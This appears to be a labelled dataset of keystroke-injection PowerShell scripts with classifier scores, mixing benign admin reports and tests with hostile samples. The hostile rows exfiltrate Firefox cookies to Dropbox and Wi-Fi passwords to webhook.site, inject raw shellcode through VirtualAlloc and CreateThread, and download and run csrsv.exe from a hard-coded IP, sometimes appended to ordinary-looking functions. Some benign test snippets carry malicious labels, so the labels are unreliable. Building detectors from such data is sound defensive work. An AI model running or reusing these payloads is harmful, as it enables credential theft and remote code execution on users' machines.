"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_eehgie2r"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.json"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_100.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4261564e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter REM #################################################### enter REM # | enter REM # Title : Export Firefox Cookies Database | enter REM # Author : Aleff | enter REM # Version : 1.0 | enter REM # Category : Exfiltration | enter REM # Target : Windows 10-11 | enter REM # | enter REM #################################################### enter REM Requirements: enter REM - Firefox must be installed enter REM You must define your Dropbox accessToken or modify the exfiltration modality. Replace just the example word with your token. enter DEFINE DROPBOX_ACCESS_TOKEN ""example"" enter DELAY 1000 enter GUI r enter DELAY 500 enter STRING powershell enter DELAY 500 enter ENTER enter DELAY 2000 enter REM Get cookies DB path enter STRINGLN enter $firefoxProfilePath = Join-Path -Path $env:APPDATA -ChildPath 'Mozilla\Firefox\Profiles' enter $firefoxProfile = Get-ChildItem -Path $firefoxProfilePath | Where-Object {$_.Name -like ""*default-release""} enter $filePath = Join-Path -Path $firefoxProfile.FullName -ChildPath 'cookies.sqlite' enter END_STRINGLN enter REM Setting about exfiltration enter STRING $accessToken = enter STRING DROPBOX_ACCESS_TOKEN enter ENTER enter STRINGLN enter $uploadUrl = ""https://content.dropboxapi.com/2/files/upload"" enter $dropboxFilePath = ""/cookies_exported.sqlite"" enter $headers = @{} enter $headers.Add(""Authorization"", ""Bearer $accessToken"") enter $headers.Add(""Dropbox-API-Arg"", '{""path"":""' + $dropboxFilePath + '"",""mode"":""add"",""autorename"":true,""mute"":false}') enter $headers.Add(""Content-Type"", ""application/octet-stream"") enter Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body $filePath; exit; enter END_STRINGLN enter DUCKY_REAL_END enter",1,1,5.6055083e-05,0.999944
win+r powershell enter delay_long enter GUI r enter delay_short enter cmd /k mode con: cols=15 lines=1 enter enter enter delay_medium enter cd %temp% enter enter enter delay_medium enter netsh wlan export profile key=clear enter enter enter delay_medium enter powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > Wi-Fi-PASS enter enter enter delay_long enter powershell Invoke-WebRequest -Uri https://webhook.site/<ADD-WEBHOOK-ADDRESS-HERE> -Method POST -InFile Wi-Fi-PASS enter enter enter delay_long enter del Wi* /s /f /q enter enter enter delay_medium enter unknown_key_action Exit enter,1,1,5.512191e-05,0.9999449
win+r enter powershell enter enter enter exit enter enter,1,1,0.0022712618,0.99772877
"win+r enter powershell enter enter enter & ""$PSScriptRoot\..\PSFramework tab ests\pester.ps1"" enter enter",0,0,0.995732,0.0042679547
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x55,0x6a,0xd7,0x09,0x68,0x02,0x00,0x1a,0x0a,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_f159b2ia"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 50 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_50.json"") -Encoding UTF8 enter",0,0,0.99996555,3.4502787e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: JumpScare 2.0 enter REM Author: I am Jakoby enter REM Description: This is a one liner payload that will execute and wait until a mouse movement is detected. Once one is a jumpscare will be played at max volume in full screen enter REM Target: Windows 10, 11 enter REM -------------------------------------------------------------------------------------- enter REM THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW. enter REM -------------------------------------------------------------------------------------- enter DELAY 2000 enter GUI r enter DELAY 500 enter STRING powershell -w h -NoP -NonI -Exec Bypass $U='https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/Assets/js.zip';$Z=""$env:TMP""+'\js.zip';$D=""$env:TMP""+'\js';iwr -Uri $U -O $Z;Expand-Archive $Z -D enter ENTER enter DUCKY_REAL_END enter",1,1,5.9895072e-05,0.99994016
"win+r enter powershell enter enter enter Set-PSFConfig -Module PSFramework -Name 'Logging.MaxErrorCount' -Value 128 -Initialize -Validation ""integerpositive"" -Handler { [PSFramework.Message.LogHost]::MaxErrorCount = $args[0] } -Description ""The maximum number of error records maintained in-memory. This setting is on a per-Process basis. Runspaces share, jobs or other consoles counted separately."" enter Set-PSFConfig -Module PSFramework -Name 'Logging.MaxMessageCount' -Value 1024 -Initialize -Validation ""integerpositive"" -Handler { [PSFramework.Message.LogHost]::MaxMessageCount = $args[0] } -Description ""The maximum number of messages that can be maintained in the in-memory message queue. This setting is on a per-Process basis. Runspaces share, jobs or other consoles counted separately."" enter Set-PSFConfig -Module PSFramework -Name 'Logging.MessageLogEnabled' -Value $true -Initialize -Validation ""bool"" -Handler { [PSFramework.Message.LogHost]::MessageLogEnabled = $args[0] } -Description ""Governs, whether a log of recent messages is kept in memory. This setting is on a per-Process basis. Runspaces share, jobs or other consoles counted separately."" enter Set-PSFConfig -Module PSFramework -Name 'Logging.ErrorLogEnabled' -Value $true -Initialize -Validation ""bool"" -Handler { [PSFramework.Message.LogHost]::ErrorLogEnabled = $args[0] } -Description ""Governs, whether a log of recent errors is kept in memory. This setting is on a per-Process basis. Runspaces share, jobs or other consoles counted separately."" enter Set-PSFConfig -Module PSFramework -Name 'Logging.DisableLogFlush' -Value $false -Initialize -Validation ""bool"" -Handler { } -Description ""When shutting down the process, PSFramework will by default flush the log. This ensures that all events are properly logged. If this is not desired, it can be turned off with this setting."" enter enter",0,0,0.9999471,5.2921132e-05
win+r powershell enter describe 'New-PoshBotTextResponse' { it 'Returns a [PoshBot.Text.Response] obje enter ct' { $resp = New-PoshBotTextResponse -Text 'abc' $resp.PSObject.TypeNames[0] enter | should be 'PoshBot.Text.Response' } it 'Has a valid [Text] field' { $resp enter = New-PoshBotTextResponse -Text 'abc' $resp.Text | should be 'abc' } it 'Wil enter l redirect to DM channel when told' { enter enter,1,1,0.0040869885,0.99591297
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_rxy69ioe"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_25.txt"") -Encoding UTF8 enter",0,0,0.999966,3.3957134e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_vqlt9co5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.json"") -Encoding UTF8 enter",0,0,0.9999659,3.4107983e-05
"win+r powershell enter  param( $SQLServer = 'PSQLDLS30' ) $SqlConnection = New-Object System.Data. enter SqlClient.SqlConnection $SqlCmd = New-Object System.Data.SqlClient.SqlCommand $S enter qlAdapter = New-Object System.Data.SqlClient.SqlDataAdapter $DataSet = New-Objec enter t System.Data.DataSet $SqlConnection.ConnectionString = ""Server=$SQLServer;Datab enter ase=master;Integrated Security=True"" enter enter",1,1,0.00466681,0.99533314
"win+r enter powershell enter enter enter param( enter [string]$Version, enter [string]$Path, enter [switch]$Force, enter [switch]$Update, enter [switch]$Uninstall enter ) enter $Configs = @{ enter Url = ""https://chocolatey.org/install.ps1"" enter ConditionExclusion = ""Get-Command `""cinst`"" -ErrorAction SilentlyContinue"" enter } enter enter $Configs | ForEach-Object{ enter enter try{ enter enter $_.Result = $null enter if(-not $_.Path){$_.Path = $Path} enter $Config = $_ enter if(-not $Uninstall){ enter if($_.ConditionExclusion){ enter $_.ConditionExclusionResult = $(Invoke-Expression $Config.ConditionExclusion -ErrorAction SilentlyContinue) enter } enter if(($_.ConditionExclusionResult -eq $null) -or $Force){ enter $_.Url | ForEach-Object{ enter Invoke-Expression (new-object Net.WebClient).DownloadString($_) enter } enter if($Update){$_.Result = ""AppUpdated"";$_ enter }else{$_.Result = ""AppInstalled"";$_} enter }else{ enter enter $_.Result = ""ConditionExclusion"";$_ enter } enter }else{ enter enter $_.Result = ""AppUninstalled"";$_ enter } enter }catch{ enter enter $Config.Result = ""Error"";$Config enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0x8d,0xd6,0x12,0x5d,0xdb,0xd4,0xd9,0x74,0x24,0xf4,0x5b,0x29,0xc9,0xb1,0x47,0x31,0x7b,0x13,0x83,0xeb,0xfc,0x03,0x7b,0x82,0x34,0xe7,0xa1,0x74,0x3a,0x08,0x5a,0x84,0x5b,0x80,0xbf,0xb5,0x5b,0xf6,0xb4,0xe5,0x6b,0x7c,0x98,0x09,0x07,0xd0,0x09,0x9a,0x65,0xfd,0x3e,0x2b,0xc3,0xdb,0x71,0xac,0x78,0x1f,0x13,0x2e,0x83,0x4c,0xf3,0x0f,0x4c,0x81,0xf2,0x48,0xb1,0x68,0xa6,0x01,0xbd,0xdf,0x57,0x26,0x8b,0xe3,0xdc,0x74,0x1d,0x64,0x00,0xcc,0x1c,0x45,0x97,0x47,0x47,0x45,0x19,0x84,0xf3,0xcc,0x01,0xc9,0x3e,0x86,0xba,0x39,0xb4,0x19,0x6b,0x70,0x35,0xb5,0x52,0xbd,0xc4,0xc7,0x93,0x79,0x37,0xb2,0xed,0x7a,0xca,0xc5,0x29,0x01,0x10,0x43,0xaa,0xa1,0xd3,0xf3,0x16,0x50,0x37,0x65,0xdc,0x5e,0xfc,0xe1,0xba,0x42,0x03,0x25,0xb1,0x7e,0x88,0xc8,0x16,0xf7,0xca,0xee,0xb2,0x5c,0x88,0x8f,0xe3,0x38,0x7f,0xaf,0xf4,0xe3,0x20,0x15,0x7e,0x09,0x34,0x24,0xdd,0x45,0xf9,0x05,0xde,0x95,0x95,0x1e,0xad,0xa7,0x3a,0xb5,0x39,0x8b,0xb3,0x13,0xbd,0xec,0xe9,0xe4,0x51,0x13,0x12,0x15,0x7b,0xd7,0x46,0x45,0x13,0xfe,0xe6,0x0e,0xe3,0xff,0x32,0x80,0xb3,0xaf,0xec,0x61,0x64,0x0f,0x5d,0x0a,0x6e,0x80,0x82,0x2a,0x91,0x4b,0xab,0xc1,0x6b,0x1b,0x14,0xbd,0x75,0xdd,0xfc,0xbc,0x75,0xf0,0xa0,0x49,0x93,0x98,0x48,0x1c,0x0b,0x34,0xf0,0x05,0xc7,0xa5,0xfd,0x93,0xad,0xe5,0x76,0x10,0x51,0xab,0x7e,0x5d,0x41,0x5b,0x8f,0x28,0x3b,0xcd,0x90,0x86,0x56,0xf1,0x04,0x2d,0xf1,0xa6,0xb0,0x2f,0x24,0x80,0x1e,0xcf,0x03,0x9b,0x97,0x45,0xec,0xf3,0xd7,0x89,0xec,0x03,0x8e,0xc3,0xec,0x6b,0x76,0xb0,0xbe,0x8e,0x79,0x6d,0xd3,0x03,0xec,0x8e,0x82,0xf0,0xa7,0xe6,0x28,0x2f,0x8f,0xa8,0xd3,0x1a,0x11,0x94,0x05,0x62,0x67,0xf4,0x95;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1882307e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_zzrb4zb9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.json"") -Encoding UTF8 enter",0,0,0.99996555,3.444716e-05
"win+r powershell enter Describe 'Tests for indexers' -Tags ""CI"" { It 'Indexer in dictionary' { $hash enter table = @{ ""Hello""=""There"" } $hashtable[""Hello""] | Should -BeExactly ""There"" } enter It 'Accessing a Indexed property of a dictionary that does not exist should r enter eturn $NULL' { $hashtable = @{ ""Hello""=""There"" } $hashtable[""Hello There""] | S enter hould -BeNullOrEmpty } enter enter",1,1,0.006036134,0.9939639
ADVANCED OS DETECTOS DETECT enter test caps capslock enter test done enter received led response enter Prediction: Windows enter Prediction: Linux enter No LED response enter Prediciton: MacOS enter Soft reconnect enter Reconnected enter Caps LED on enter Test numlock enter Test done enter No numlock LED enter Prediciton: ChromeOS enter Numlock LED on enter Testing scrolllock enter Test done enter Scrolllock LED on enter Prediciton: Android enter No scrolllock reply enter Prediction: Linux enter Caps LED on enter Prediction: iOS enter No caps reply enter Prediction: MacOS enter Confident Windows Prediction enter OS_DETECT complete enter win r notepad enter Legit DS3 on Windows enter win space TextEdit enter Legit DS3 on macOS enter ctrl alt n ano enter Legit DS3 on Linux enter,1,1,0.0019999945,0.99799997
"win+r enter powershell enter enter enter  enter enter $sessions = gc ""E:\dexma\logs\computers.txt"" | New-PSSession enter $block = { enter gwmi -query ""select * from Win32_Volume where DriveType='3' AND DriveLetter='C:'"" | Select ` enter @{Name=""Server"";Expression={$ENV:COMPUTERNAME}},` enter @{Name=""Device"";Expression={$_.DriveLetter}},` enter @{Name=""MountPoint"";Expression={$DID=$_.DeviceID;gwmi Win32_MountPoint | ? { (($_.Volume.Split(""="")[1] -replace ""[^a-z0-9-]|Volume"","""") -match ($DID -replace ""[^a-z0-9-]|Volume"","""")) } | % { $_.Directory.Split(""="")[1] -replace ""`"""","""" }}},` enter @{Name=""Capacity"";Expression={[math]::round(($($_.Capacity)/1GB),2)}},` enter @{Name=""FreeSpace"";Expression={[math]::round(($($_.FreeSpace)/1GB),2)}},` enter @{Name=""UsedSpace"";Expression={[math]::round((($_.Capacity - $_.FreeSpace)/1GB),2)}},` enter @{Name=""PercentFree"";Expression={[math]::round(($($_.FreeSpace)/$($_.Capacity)*100),2)}} enter } enter enter Invoke-Command -ScriptBlock $block -Session $sessions | Select Server,Device,MountPoint,Capacity,FreeSpace,UsedSpace,PercentFree | Sort Server,Device | Out-GridView -Title ""Drive Space"" enter enter Get-PSSession | Remove-PSSession enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.8424608e-05,0.9999416
"win+r enter powershell enter enter enter function Get-SystemDNSServer enter { enter <# enter .Synopsis enter Enumerates the DNS Servers used by a system enter Part of Posh-SecMod (https://github.com/darkoperator/Posh-SecMod/) enter Author: darkoperator enter enter .DESCRIPTION enter Enumerates the DNS Servers used by a system returning an IP Address .Net object for each. enter .EXAMPLE enter C:\> Get-SystemDNSServer enter Address : 16885952 enter AddressFamily : InterNetwork enter ScopeId : enter IsIPv6Multicast : False enter IsIPv6LinkLocal : False enter IsIPv6SiteLocal : False enter IsIPv6Teredo : False enter IsIPv4MappedToIPv6 : False enter IPAddressToString : 192.168.1.1 enter #> enter $DNSServerAddresses = @() enter $interfaces = [System.Net.NetworkInformation.NetworkInterface]::GetAllNetworkInterfaces() enter foreach($interface in $interfaces) enter { enter if($interface.OperationalStatus -eq ""Up"") enter { enter $DNSConfig = $interface.GetIPProperties().DnsAddresses enter if (!$DNSConfig.IsIPv6SiteLocal) enter { enter $DNSServerAddresses += $DNSConfig enter } enter } enter } enter $DNSServerAddresses enter } enter enter",1,1,9.872572e-05,0.9999013
Press the button 3 times... enter unknown_key_action WAIT_FOR_BUTTON_PRESS enter 1... enter unknown_key_action WAIT_FOR_BUTTON_PRESS enter 2... enter unknown_key_action WAIT_FOR_BUTTON_PRESS enter 3... You did it!,1,1,6.7713925e-05,0.9999323
"win+r powershell enter [CmdletBinding()] param ( [switch] $Build, [ValidateNotNullOrEmpty()][string] enter $ClientInstallationDirectory = '', [ValidateNotNullOrEmpty()][string] $Clien enter tInstallationFile = 'ccmsetup.exe', [switch] $Install, [string] enter enter",1,1,0.0010550976,0.99894494
"win+r powershell enter function Invoke-WireTap { [CmdletBinding()] Param ( [String] $Command = """" enter ) $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String(""H4sIAAAAAAAEAMS enter 5dVyUW9c/PAwwwJBDDN3h0CnS0gKSAoqE0g0DQyqIdEhLKd0gJd0opZSINFKCIiCCgpQJv+saPJ5z7uf enter +PO/z3zuy9/6utXOtvfbaa1/qmCZBcCEQCB6QTk8hkFbI2U8R8v/9CwYSGWs7GaSRaJS9FUd7lN3I0cm enter LzQODdsBYubHZWLm7o73ZrO3YMD7ubE7ubKp6hmxuaFs7IVJSONfvMfTVIBBtHFyIjOKnx3+NuwKB4hD enter jiEAgJsCqyM54ub4AZvurheIZhp6tGwL5u4R042H54A8XohgBgVBg//4u/xRn8wPjXsYKgwcph/8XIfP enter xICRAUe6DB5H6P+jkzw9YH+E/SEKA1vgHLeRt5+8NlMVXf8tl8ve6/zGEpRDGC2MDzg8/WyN2MaZ4/2q enter nCPwJYexc0TZn1eCasWPZ/492yv+5zGDfszbg2qAQfMgmFR6k2woCwQFoaQgE5ggIHbyA+38WmwGlC/T enter iY4GigBHgfDVBQIEnyIIBCo9XwJqgKCCDo4EB4V7AzPBgsB7biI8hCNxPoGswtoRAqETwIB0Q7FoQXkR enter AY7gXoAU4MVTwPGM8sIk43EiMLDBuITctRgdb0mFuYkt6jA+2ZMCEgKUXMdCNAkIARQPqgRN4kQI5CYw enter QDdgWHIYmx+bAeHBSIoGLQfjggqUw8UBHFBUgCw8mA4TUACRCI4BWKEogow0G27F1T+FAUMCiYEgszd+ enter C7S5QyxYNdAW7w/mLATl enter enter",1,1,6.250148e-05,0.99993753
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_26wdhuet"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""powershell"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 40 ProcessName, Id, StartTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_40.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.41348e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_aqdtgr21"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.txt"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-Service -Name wuauserv,bits -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4623292e-05
"win+r enter powershell enter enter enter Describe 'New-WinEvent' -Tags ""CI"" { enter enter Context ""New-WinEvent tests"" { enter enter BeforeAll { enter $originalDefaultParameterValues = $PSDefaultParameterValues.Clone() enter if ( ! $IsWindows ) { enter $PSDefaultParameterValues[""it:skip""] = $true enter } enter enter $ProviderName = 'Microsoft-Windows-PowerShell' enter $SimpleEventId = 40962 enter $ComplexEventId = 32868 enter } enter enter AfterAll { enter $global:PSDefaultParameterValues = $originalDefaultParameterValues enter } enter enter It 'Simple New-WinEvent without any payload' { enter New-WinEvent -ProviderName $ProviderName -Id $SimpleEventId -Version 1 enter $filter = @{ ProviderName = $ProviderName; Id = $SimpleEventId} enter (Get-WinEvent -filterHashtable $filter).Count | Should -BeGreaterThan 0 enter } enter enter It 'No provider found error' { enter { New-WinEvent -ProviderName NonExistingProvider -Id 0 } | Should -Throw -ErrorId 'System.ArgumentException,Microsoft.PowerShell.Commands.NewWinEventCommand' enter } enter enter It 'EmptyProviderName error' { enter { New-WinEvent -ProviderName $null -Id 0 } | Should -Throw -ErrorId 'ParameterArgumentValidationErrorNullNotAllowed,Microsoft.PowerShell.Commands.NewWinEventCommand' enter } enter enter It 'IncorrectEventId error' { enter { New-WinEvent $ProviderName -Id 999999 } | Should -Throw -ErrorId 'Microsoft.PowerShell.Commands.EventWriteException,Microsoft.PowerShell.Commands.NewWinEventCommand' enter } enter enter It 'IncorrectEventVersion error' { enter { New-WinEvent -ProviderName $ProviderName -Id $SimpleEventId -Version 99 } | Should -Throw -ErrorId 'Microsoft.PowerShell.Commands.EventWriteException,Microsoft.PowerShell.Commands.NewWinEventCommand' enter } enter enter It 'PayloadMismatch error' { enter $logPath = join-path $TestDrive 'testlog1.txt' enter enter New-WinEvent -ProviderName $ProviderName -Id $ComplexEventId *> $logPath enter Get-Content $logPath -Raw | Should -Match 'data name=""FragmentPayload""' enter } enter } enter } enter enter",0,0,0.9998832,0.000116852476
"win+r enter powershell enter enter enter  enter function Add-MrStartupVariable { enter [CmdletBinding(SupportsShouldProcess)] enter param ( enter [Parameter(Mandatory)] enter [ValidateSet('AllUsersAllHosts', 'AllUsersCurrentHost', 'CurrentUserAllHosts', 'CurrentUserCurrentHost')] enter $Location enter ) enter enter $Content = @' enter $StartupVars = @() enter $StartupVars = Get-Variable | Select-Object -ExpandProperty Name enter '@ enter enter if (-not(Test-Path -Path $profile.$Location)) { enter New-Item -Path $profile.$Location -ItemType File | enter Set-Content -Value $Content enter } enter elseif (-not(Get-Content -Path $profile.$Location | enter Select-String -SimpleMatch '$StartupVars = Get-Variable | Select-Object -ExpandProperty Name')) { enter Add-Content -Path $profile.$Location -Value ""`r`n$Content"" enter } enter else { enter Write-Verbose -Message ""`$StartupVars already exists in '$($profile.$Location)'"" enter } enter enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.9638707e-05,0.9999404
win+r enter powershell enter enter enter  enter function Test-DataSetCrud enter { enter try enter { enter $resourceGroup = getAssetName enter $AccountName = getAssetName enter $ShareName = getAssetName enter $DataSetName = getAssetName enter $StorageAccountId = getAssetName enter $ContainerName = getAssetName enter $createdContainerDataset = New-AzDataShareDataSet -ResourceGroupName $resourceGroup -AccountName $AccountName -ShareName $ShareName -Name $DataSetName -StorageAccountResourceId $StorageAccountId -Container $ContainerName enter enter Assert-NotNull $createdContainerDataset enter Assert-AreEqual $DataSetName $createdContainerDataset.Name enter enter $Prefix = getAssetName enter $createdBlobFolder = New-AzDataShareDataSet -ResourceGroupName $resourceGroup -AccountName $AccountName -ShareName $ShareName -Name $DataSetName -StorageAccountResourceId $StorageAccountId -Container $ContainerName -FolderPath $Prefix enter enter Assert-NotNull $createdBlobFolder enter Assert-AreEqual $DataSetName $createdBlobFolder.Name enter enter $FilePath = getAssetName enter $createdBlob = New-AzDataShareDataSet -ResourceGroupName $resourceGroup -AccountName $AccountName -ShareName $ShareName -Name $DataSetName -StorageAccountResourceId $StorageAccountId -Container $ContainerName -FilePath $FilePath enter enter Assert-NotNull $createdBlob enter Assert-AreEqual $DataSetName $createdBlob.Name enter enter $retreivedDataset = Get-AzDataShareDataSet -ResourceGroupName $resourceGroup -AccountName $AccountName -ShareName $ShareName -Name $DataSetName enter enter Assert-NotNull $retreivedDataset enter Assert-AreEqual $DataSetName $retreivedDataset.Name enter enter $ResourceId = getAssetName enter $retreivedDataset = Get-AzDataShareDataSet -ResourceId $ResourceId enter enter Assert-NotNull $retreivedDataset enter Assert-AreEqual $DataSetName $retreivedDataset.Name enter } enter finally enter { enter Remove-AzResourceGroup -Name $resourceGroup -Force enter } enter } enter enter,0,0,0.99994373,5.6251498e-05
